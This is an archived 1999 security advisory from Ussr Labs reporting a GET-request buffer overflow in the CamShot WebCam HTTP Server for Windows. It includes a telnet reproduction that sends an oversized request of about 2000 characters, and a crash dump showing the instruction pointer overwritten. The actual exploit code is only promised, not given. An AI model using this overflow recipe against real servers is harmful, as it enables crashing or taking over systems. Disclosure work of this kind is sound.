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Local / Remote GET Buffer Overflow Vulnerability in CamShot WebCam HTTP Server v2.5 for Win9x/NT
From: labs () USSRBACK COM (Ussr Labs)
Date: Thu, 30 Dec 1999 14:06:16 -0300
Local / Remote GET Buffer Overflow Vulnerability in CamShot WebCam HTTP
Server v2.5 for Win9x/NT
USSR Advisory Code: USSR-99028
December 30, 1999 [4/5]
CamShot WebCam HTTP Server v2.5 for Win9x and possibly others versions.
About The Software:
CamShot is a Windows 95/98/NT web server that serves up web pages containing
stamped images captured from a video camera. The images can be viewed from
on the network with a web browser. CamShot works with Video For Windows
video equipment. Finally a cheap and simple way to do remote surveillance is
UssrLabs found a Local / Remote Buffer overflow, The code that handles GET
has an unchecked buffer that will allow arbitrary code to be executed if it
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This advisory also acts as part of w00giving. This is another contribution
to w00giving for all you w00nderful people out there. You do know what
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[hell () imahacker]$ telnet die.communitech.net 80
Connected to die.communitech.net
Escape character is '^]'.
GET (buffer) HTTP/1.1 <enter><enter>
Where [buffer] is aprox. 2000 characters. At his point the server overflows.
And in remote machine someone will be see something like this.
CAMSHOT caused an invalid page fault in
module <unknown> at 0000:61616161.
EAX=0069fa74 CS=017f EIP=61616161 EFLGS=00010246
EBX=0069fa74 SS=0187 ESP=005a0038 EBP=005a0058
ECX=005a00dc DS=0187 ESI=816238f4 FS=33ff
EDX=bff76855 ES=0187 EDI=005a0104 GS=0000
Bytes at CS:EIP:
bff76849 005a0104 0069fa74 005a0120 005a00dc 005a0210 bff76855 0069fa74
005a00ec bff87fe9 005a0104 0069fa74 005a0120 005a00dc 61616161 005a02c8
Binary or source for this Exploit (wen we finish it):
Vendor Url: http://www.broadgun.com/arcit/index.html
Program Url: http://broadgun.com/Camshot.htm
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